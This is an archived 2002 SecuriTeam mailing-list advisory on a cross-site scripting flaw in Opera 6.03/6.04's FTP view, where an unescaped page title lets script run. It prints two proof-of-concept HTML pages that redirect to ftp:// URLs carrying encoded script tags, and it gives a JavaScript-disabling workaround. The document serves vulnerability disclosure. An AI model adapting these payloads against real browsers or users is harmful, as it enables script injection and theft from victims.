

[NEWS] Opera FTP View Cross-Site Scripting Vulnerability

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2002-08/0032.html>

From: support@securiteam.com

Date: 08/10/02

From: support@securiteam.com

To: list@securiteam.com

Date: Sat, 10 Aug 2002 22:38:18 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> -- Know that you're safe.

Opera FTP View Cross-Site Scripting Vulnerability

SUMMARY

Opera allows running Malicious Scripts due to a bug in 'FTP view' feature.

If you click on a malicious link, the script embedded in URL will run.

DETAILS

Vulnerable systems:

* Opera version 6.03

* Opera version 6.04

This problem is in 'FTP view' feature. The '<title>URL</title>' is not escaped, allowing embedding of malicious HTML and JavaScript code.

Exploit code:

```
<html>
```

```
<head>
```

```
<META http-equiv="Refresh" content="5 ;
```

```
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@[FTPserver]"/>
```

```
</head>
```

```
<body>
```

```
<script>window.open("ftp://[FTPserver]");</script>
```

Securiteam: [NEWS] Opera FTP View Cross-Site Scripting Vulnerability

</body>
</html>

Another exploit:

```
<html>
<head>
<META http-equiv="Refresh" content="5 ;
url=ftp://%3c%2ftitle%3e%3cscript%3ealert(%22exploit%22)%3b%3c%2fscript%3e@ftp.opera.com/">
</head>
<body>
<script>window.open("ftp://ftp.opera.com/");</script>
</body>
</html>
```

Demonstration:

<<http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html>>
<http://www.geocities.co.jp/SiliconValley/1667/advisory04e.html>

Workaround:

Disable JavaScript.

Vendor status:

Opera Software ASA was notified on 30 June 2002.

ADDITIONAL INFORMATION

The information has been provided by <<mailto:ptrs-ejy@bp.ij4u.or.jp>>
Eiji James Yoshida.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

-
- **Previous message:** support@securiteam.com: "[NEWS] Web Shop Manager Security Vulnerability"
 - **Messages sorted by:** [\[date \]](#) [\[thread \]](#) [\[subject \]](#) [\[author \]](#) [\[attachment \]](#)